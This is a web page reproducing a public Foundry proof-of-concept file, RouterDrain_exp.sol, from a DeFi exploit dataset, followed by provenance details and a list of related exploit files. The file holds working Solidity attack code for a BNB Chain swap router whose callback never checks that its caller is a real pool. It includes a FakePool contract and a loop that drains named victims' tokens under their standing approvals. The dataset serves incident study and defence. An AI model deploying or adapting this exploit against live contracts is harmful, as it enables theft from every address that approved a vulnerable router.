Public reproduction file
src/test/2026-09/RouterDrain_exp.sol
Public reproduction file for dataset entry RouterDrain.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.19;4import "forge-std/Test.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// DEX-router (swap-aggregator) drain — BNB Chain. The router exposes a permissionless swap entrypoint8// (selector 0x33411b5e) whose Uniswap-V3-style callback pays a caller-influenced "payer" via9// transferFrom(payer, pool, amount) but NEVER verifies that the calling pool is a genuine,10// factory-derived Uniswap V3 pool. factoryV3 on the router is the zero address, so no legitimate pool11// address could even be computed to check against. A fake contract that merely implements the pool12// swap() selector can therefore re-enter the router's own uniswapV3SwapCallback and pull any token13// from any address that ever approved the router, all inside one transaction.14//15// Attack tx : 0x40eb22369da422a8275d5679054aa3a8c8906d93abc0bac3a3f2cad879389319 (block 120524634)16// Attacker : 0xB929C7215c0ec8EbAD5fBf73b1Da63bccfFf189617// Router : 0xa331fde028e6F17425AB9333c39ae43722340d24 (proxy -> unverified impl 0x241f743e...)18// Loss : ~62.28 WBNB across 29 victims. This PoC reproduces a representative subset (3 victims),19// which is sufficient to demonstrate the bug per this repo's convention; matching the full20// 62.28 WBNB across all 29 victims is unnecessary.21//22// ROOT CAUSE — confirmed on-chain (router is unverified, so confirmed by direct reads + the tx trace,23// not by source):24// 1. factoryV3() on the router returns 0x0000...0000 (direct getter read at the fork block). With no25// factory, the callback cannot derive/verify a canonical pool address, so any msg.sender passes.26// 2. Entry 0x33411b5e takes a route list carrying an attacker-chosen `pool` address; the router calls27// pool.swap(0x128acb08) on it with no check that `pool` is real. (ABI recovered from the trace and28// re-encoded byte-for-byte to validate — see IRouterVuln / Route below.)29// 3. The router's uniswapV3SwapCallback(int256,int256,bytes)=0xfa461e33 decodes a `payer` out of the30// pool-echoed callback `data` and does transferFrom(payer, msg.sender, amount). It binds neither31// msg.sender to a real pool nor `payer` to the original swap initiator. In the real tx the fake32// pool even substitutes a different `payer` (the victim) than the one the router passed it.33//34// Attack flow (this PoC): a named FakePool implements only pool.swap(); the exploit calls the router's35// real 0x33411b5e entry with the FakePool as the route `pool` and a victim's token as tokenIn. The36// router calls FakePool.swap(), which re-enters the router's uniswapV3SwapCallback with `data` naming37// the VICTIM as payer, so the router runs transferFrom(victim, FakePool, amount) under the victim's38// standing approval. Real amounts drained per victim are taken from the fork state (their actual token39// balance), each with a standing max approval to the router (granted here via vm.prank as the victim,40// exactly modelling "an address that had previously approved the router").41//42// The original tx bootstrapped gas with a 1 WBNB PancakeV2 flash-swap and later sold the looted tokens43// to WBNB; those steps are downstream monetisation, not the vulnerability, so they are omitted. Profit44// is asserted in the drained TOKENS moving from each victim to the attacker's FakePool.45//46// Run:47// forge test --contracts src/test/2026-09/RouterDrain_exp.sol -vvv49address constant ROUTER = 0xa331fde028e6F17425AB9333c39ae43722340d24;50address constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;51// selector of the permissionless entry. The router is unverified so its function NAME is unknown; the52// argument tuple below was recovered from the trace and re-encoded to match the real calldata exactly.53bytes4 constant SWAP_SELECTOR = 0x33411b5e;55interface IRouterVuln {56 function factoryV3() external view returns (address);57 // The unprotected Uniswap-V3 callback the fake pool re-enters.58 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;59}61// Route element carried by the 0x33411b5e entry. Field meanings inferred from the trace; only tokenIn,62// tokenOut, pool and fee matter to reach pool.swap(). (uint256,address,address,address,uint256,uint256,uint256,bytes)63struct Route {64 uint256 kind; // =1 in the trace65 address tokenIn;66 address tokenOut;67 address pool;68 uint256 fee; // =10000 in the trace69 uint256 a;70 uint256 b;71 bytes data;72}74// Payload the router's callback decodes to learn the payer/token/amount. Layout matches the real75// callback `data` (abi.encode of {bytes path; address payer; address recipient; uint256 amount}).76struct PayInfo {77 bytes path;78 address payer;79 address recipient;80 uint256 amount;81}83contract RouterDrain_exp is Test {84 // Three representative victims, their token, and the exact balance drained (read from fork state).85 struct Victim {86 address who;87 address token;88 string sym;89 }91 Victim[3] internal victims;92 RouterDrainExploit internal exploit;94 function setUp() public {95 // Parent block of the exploit tx: real protocol/victim state immediately before the attack.96 vm.createSelectFork("bsc", 120_524_633);98 victims[0] = Victim(0x75EE838187717030d2c43063fc9a0e8553838e05, 0xb81139F4539BC3d726fA0b675024D319aF676666, "OCEAN");99 victims[1] = Victim(0xE32D727406dBEe7b596FECcAA2A30c0241c6BA5C, 0xeC98fbAAFa8bCD79E8ddC3d3675f1D0eA16E7777, "Kandura");100 victims[2] = Victim(0x50782465b39D2AcE46B906aFD297Ba194E533e3c, 0xF23E4A84a950e9AdaE4B95468a4857ca34Ce7777, "SATURN");102 exploit = new RouterDrainExploit();104 vm.label(ROUTER, "VulnRouter");105 vm.label(WBNB, "WBNB");106 vm.label(address(exploit), "Exploit");107 }109 /// forge-config: default.evm_version = "cancun"110 function testExploit() public {111 // CONFIRM the core precondition on-chain: the router has no V3 factory, so its callback cannot112 // verify a real pool. This is what makes an arbitrary fake pool acceptable.113 assertEq(IRouterVuln(ROUTER).factoryV3(), address(0), "factoryV3 must be zero (no pool verification possible)");115 for (uint256 i = 0; i < victims.length; i++) {116 Victim memory v = victims[i];117 uint256 victimBal = IERC20(v.token).balanceOf(v.who);118 assertGt(victimBal, 0, "victim should hold a real balance at the fork block");120 // Model "an address that had previously approved the router": grant a real standing approval121 // from the victim to the router, via the real token contract, pranking as the victim.122 vm.prank(v.who);123 IERC20(v.token).approve(ROUTER, type(uint256).max);125 // Bootstrap capital. The router GATES its entry on balanceOf(recipient) >= amountIn (it never126 // spends the recipient's tokens, only gates on them), so the attacker must hold a little of127 // the token to begin. The real tx obtained this by flash-swapping ~1 WBNB into the token on128 // PancakeSwap; here we model that small working capital by dealing a seed to the fake pool.129 // Everything drained beyond this seed is the victim's real tokens pulled under their approval.130 uint256 seed = victimBal / 256 + 1;131 deal(v.token, address(exploit), seed);133 // Drain: repeatedly exploit -> router.0x33411b5e -> FakePool.swap ->134 // router.uniswapV3SwapCallback -> transferFrom(victim, FakePool, amountIn), each call pulling135 // up to the attacker's current balance (the gated amount), which grows every iteration.136 exploit.drain(v.who, v.token);138 uint256 stolen = IERC20(v.token).balanceOf(address(exploit)) - seed;139 emit log_named_string("victim token", v.sym);140 emit log_named_uint("victim balance drained (raw)", stolen);142 assertEq(stolen, victimBal, "attacker must capture the victim's full balance");143 assertEq(IERC20(v.token).balanceOf(v.who), 0, "victim must be fully drained");144 }145 }146}148// Fake Uniswap-V3 pool: implements ONLY swap(). When the router calls it, it re-enters the router's own149// uniswapV3SwapCallback with callback data naming the configured victim as payer, so the router pulls150// the victim's tokens to this contract under the victim's standing approval.151contract FakePool {152 address internal immutable owner;153 address internal payer; // the victim to drain, set by the exploit before each router entry call154 address internal tokenIn;155 uint256 internal amount;157 constructor() {158 owner = msg.sender;159 }161 function arm(address _payer, address _tokenIn, uint256 _amount) external {162 require(msg.sender == owner, "only owner");163 payer = _payer;164 tokenIn = _tokenIn;165 amount = _amount;166 }168 // Uniswap V3 pool swap selector 0x128acb08. The router calls this; msg.sender is the router.169 function swap(address, bool zeroForOne, int256, uint160, bytes calldata) external returns (int256, int256) {170 bytes memory path = abi.encodePacked(tokenIn, uint24(10000), WBNB);171 PayInfo memory info = PayInfo({path: path, payer: payer, recipient: owner, amount: amount});172 // Re-enter the router's unprotected callback. The owed (positive) delta must be on the INPUT173 // token side: token0 when zeroForOne, else token1. The router then transferFrom(payer, this,174 // amount) of the input token — i.e. drains the victim.175 (int256 amount0Delta, int256 amount1Delta) =176 zeroForOne ? (int256(amount), int256(-1)) : (int256(-1), int256(amount));177 IRouterVuln(msg.sender).uniswapV3SwapCallback(amount0Delta, amount1Delta, abi.encode(info));178 // Forward the looted tokens to the exploit (the router's caller/recipient) so its balance grows179 // and clears the router's balance gate on the next iteration. Matches the real tx, where the fake180 // pool forwarded each drained amount to the orchestrator.181 uint256 bal = IERC20(tokenIn).balanceOf(address(this));182 if (bal > 0) IERC20(tokenIn).transfer(owner, bal);183 return (amount0Delta, amount1Delta);184 }185}187// Orchestrator: calls the router's real permissionless entry with a Route pointing at the FakePool.188contract RouterDrainExploit {189 address public immutable pool; // the FakePool that receives the looted tokens191 constructor() {192 pool = address(new FakePool());193 }195 function drain(address victim, address token) external {196 uint256 victimBal = IERC20(token).balanceOf(victim);197 for (uint256 i = 0; i < 256 && victimBal > 0; i++) {198 // amountIn is gated by the attacker's current holdings; pull the smaller of that and what the199 // victim still has. Holdings grow each iteration, so this doubles until the victim is empty.200 uint256 hold = IERC20(token).balanceOf(address(this));201 require(hold > 0, "need bootstrap seed");202 uint256 amountIn = victimBal < hold ? victimBal : hold;204 FakePool(pool).arm(victim, token, amountIn);206 Route[] memory routes = new Route[](1);207 routes[0] =208 Route({kind: 1, tokenIn: token, tokenOut: WBNB, pool: pool, fee: 10000, a: 0, b: 0, data: ""});210 // Typed call of the unverified entry: real struct + typed args, encoded under the known211 // selector (no calldata blob). recipient = pool so the router's balance gate reads the pool212 // where the looted tokens accumulate. Router calls FakePool.swap(), driving the callback drain.213 (bool ok,) = ROUTER.call(214 abi.encodeWithSelector(215 SWAP_SELECTOR, routes, amountIn, uint256(0), uint256(0), uint256(0), address(this), bytes("")216 )217 );218 require(ok, "router entry call failed");220 uint256 newBal = IERC20(token).balanceOf(victim);221 require(newBal < victimBal, "no progress");222 victimBal = newBal;223 }224 }225}Analysis
Dataset entry
Public Foundry test for “RouterDrain” (2026-09-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
Also imports external libraries: forge-std/Test.sol, forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb929c7215c0ec8ebad5fbf73b1da63bccfff1896
- Attack Tx
0x40eb22369da422a8275d5679054aa3a8c8906d93abc0bac3a3f2cad879389319
File record
- Name
- RouterDrain
- Path
- src/test/2026-09/RouterDrain_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ced1c9b8cb8e5fa8c4fc875c1cfb8ae5c985d455
- Language
- Solidity
- Size
- 226 lines
- Date
- 2026-09-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/RouterDrain_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ced1c9b8cb8e5fa8c4fc875c1cfb8ae5c985d455, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.